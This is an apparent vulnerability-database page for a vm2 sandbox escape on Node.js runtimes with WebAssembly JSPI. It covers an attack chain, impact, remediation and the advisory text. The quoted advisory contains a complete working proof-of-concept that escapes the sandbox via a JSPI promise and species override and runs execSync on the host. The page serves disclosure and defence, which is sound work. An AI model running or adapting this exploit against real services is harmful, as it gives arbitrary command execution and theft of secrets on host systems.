Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconSubmit untrusted JS to vm2 sandbox
-
DeliveryInstantiate wasm with Suspending import
-
ExploitObtain JSPI promise via WebAssembly.promising
-
InstallOverride constructor with attacker species class
-
C2Call .finally() to trigger host-realm SpeciesConstructor
-
ExecuteWalk rejection.constructor.constructor to host process
-
ImpactexecSync arbitrary commands on host
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A08:2025 - Software or Data Integrity Failures
ASVS 5.0
V15 - Secure Coding and Architecture Dynamic code resource control
|
| Exploitation Conditions | Exploitation requires that (1) the target application uses vm2 <= 3.11.3 as a security boundary around attacker-influenced JavaScript, (2) the Node.js runtime exposes WebAssembly JSPI - Node 26+ where it is enabled by default, or Node 24 launched with --experimental-wasm-jspi, and (3) the sandboxed code path supports async execution sufficient to reach Promise.prototype.finally on a WebAssembly.promising-derived promise. No authentication is required at the vm2 layer (PR:N) and no user interaction is needed (UI:N), but exploitation is limited to deployments meeting the runtime version/flag condition above - vm2 running on Node 22 LTS or any Node 24 instance without the experimental JSPI flag is not exposed via this specific path. Whether an external attacker reaches the sandbox depends on whether the host application accepts attacker-controlled JS, which is the typical use case for vm2. |
| Impact | Risk is high and concrete. CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) reflects unauthenticated remote code execution with low complexity once attacker-controlled JS reaches a vm2 sandbox, which matches the threat model vm2 is explicitly deployed to defend against. EPSS and CISA KEV status were not provided in the input, so widespread exploitation cannot be confirmed; however, a fully working PoC is published in the advisory, so the barrier to weaponization is effectively zero. A practical limit on real-world risk is the runtime requirement: the path is reachable by default only on Node 26+, or on Node 24 with --experimental-wasm-jspi explicitly enabled, so deployments on Node 22 LTS and earlier are not exposed via this specific vector. Note that vm2 itself has been deprecated upstream in favor of isolated-vm; the package remains in production use, but defenders should treat any continued reliance on it as elevated risk independent of this CVE. |
| Exploit ScenarioDerived | An attacker submits JavaScript payload to a service that uses vm2 to sandbox user code (e.g., a serverless function evaluator, automation rule engine, or low-code expression runtime) running on Node 26. The payload instantiates a tiny wasm module with a Suspending import, calls WebAssembly.promising on its export to obtain a JSPI promise, overrides constructor to a class whose species reads the rejection's constructor.constructor('return process')(), and calls .finally() - yielding host process and execSync('child_process'), giving the attacker arbitrary command execution on the host with the service's privileges. A fully working PoC is published in the GHSA advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 29, 2026
Sandbox escape in vm2 (npm package, versions <= 3.11.3) allows arbitrary code execution in the Node.js host process when untrusted code is run on runtimes exposing WebAssembly JSPI (Node 24 with --experimental-wasm-jspi, or Node 26+ by default). A working PoC demonstrates that a JSPI-backed Promise reaches host-realm Promise.prototype.finally without bridge interposition, letting attacker-controlled species logic walk a rejection object's constructor chain to host process and execute arbitrary commands. No public exploit identified as actively used in the wild, but a complete weaponized PoC is published in the GHSA advisory.
RemediationAI
Vendor-released patch: upgrade vm2 to 3.11.4 or later, which deletes WebAssembly.promising and WebAssembly.Suspending at sandbox bootstrap in lib/setup-sandbox.js (mirroring the existing WebAssembly.JSTag removal); see https://github.com/patriksimek/vm2/commit/6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6 and release https://github.com/patriksimek/vm2/releases/tag/v3.11.4. If immediate upgrade is not possible, compensating controls include pinning the runtime to Node 22 LTS or earlier (Node 24 without --experimental-wasm-jspi is also unaffected by this specific vector but may still be exposed to other future WASM/JSPI issues - accept the EOL/support trade-off), or monkey-patching the sandbox bootstrap to delete WebAssembly.promising and WebAssembly.Suspending from the sandbox global before running untrusted code (this loses any legitimate use of JSPI inside the sandbox). Strategically, because vm2 is deprecated upstream and has a history of sandbox escapes, migrating to isolated-vm or out-of-process isolation is the durable fix; the advisory URL is https://github.com/advisories/GHSA-6j2x-vhqr-qr7q.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
vm2 is a widely used Node.js sandboxing library that intercepts Promise prototype methods and bridges host/sandbox realms to contain untrusted JavaScript. WebAssembly JSPI (JavaScript Promise Integration), exposed via WebAssembly.promising and WebAssembly.Suspending, returns Promise objects whose [[Prototype]] chain points directly at the host realm's Promise.prototype with no bridge proxy in between - a categorically new object shape that neither vm2's sandbox-side then/catch overrides nor its bridge apply-trap can intercept. When .finally() is invoked on such a promise, V8's host-realm SpeciesConstructor reads an attacker-controlled constructor getter, and the host-originated TypeError rejection is dispatched through the attacker's class, exposing e.constructor.constructor('return process')() in the host realm. The root cause class is CWE-913 (Improper Control of Dynamically-Managed Code Resources), and the structural fix introduces Defense Invariant #12: no sandbox-visible object may have a host-realm prototype chain without bridge interposition.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
Sources disagree (Medium–Critical)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today treats the vendor’s rating as authoritative. A higher third-party CVSS (e.g. CISA-ADP) is shown for transparency but does not drive the headline severity.
CVSS VectorVendor: https://github.com/patriksimek/vm2
DescriptionCVE.org
Summary
A sandbox escape vulnerability in vm2 allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (WebAssembly.promising / WebAssembly.Suspending). In the tested configuration, a JSPI-backed Promise can reach Promise.prototype.finally() in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary.
This is a critical sandbox escape: any application that treats vm2 as a security boundary may be fully compromised.
Details
On node26, JSPI-backed Promises created through WebAssembly.promising(...) do not behave like ordinary sandbox Promises.
That path yields a host-originated TypeError during JSPI processing. Inside attacker-controlled species logic reached through .finally(), the rejection object exposes a usable host constructor chain. In the tested environment, the rejection object's constructor path can be used to reach host process, which leads to arbitrary code execution in the host process.
This behavior is specific to the JSPI / .finally() interaction. In contrast, the corresponding then / catch paths still appeared to route through vm2's expected localPromise machinery in my testing.
PoC
Environment: node:26-bookworm
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
(()=>{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=>WebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=>{let p=WebAssembly.promising(r.instance.exports.run)();class F{constructor(x){this.s=0;this.q=[];x(v=>{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=>{
let P=e.constructor.constructor('return process')()
P.mainModule.require('child_process').execSync('touch pwned');
this.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}Object.defineProperty(F,Symbol.species,{get(){return F}});Object.defineProperty(p,'constructor',{get(){return F}});p.finally(()=>{})});return 1})()
`));Impact
This is a sandbox escape leading to arbitrary code execution in the host process.
Who is impacted:
- any application using
vm2to execute attacker-controlled JavaScript as a security boundary - especially Node.js runtimes exposing WebAssembly JSPI features (Node 26)
Practical impact:
- arbitrary command execution in the host process
- arbitrary file read / write accessible to the host process
- theft of secrets, tokens, credentials, and application data
- complete compromise of services relying on
vm2isolation
Blast Radius
ecosystem impact- 5 npm packages depend on vm2 (4 direct, 1 indirect)
Ecosystem-wide dependent count for version 3.11.4.
Executive ViewAI
vm2 npm package (versions ≤3.11.3) contains a critical vulnerability (CVE-2026-47210) enabling arbitrary code execution in Node.js host processes on WebAssembly JSPI-enabled runtimes (Node 24 with --experimental-wasm-jspi or Node 26+ by default). Publicly available exploit code exists, creating immediate risk for any organization executing untrusted code via vm2 in these environments. System compromise is possible without urgent patching.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond
EUVD-2026-36448
GHSA-6j2x-vhqr-qr7q
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB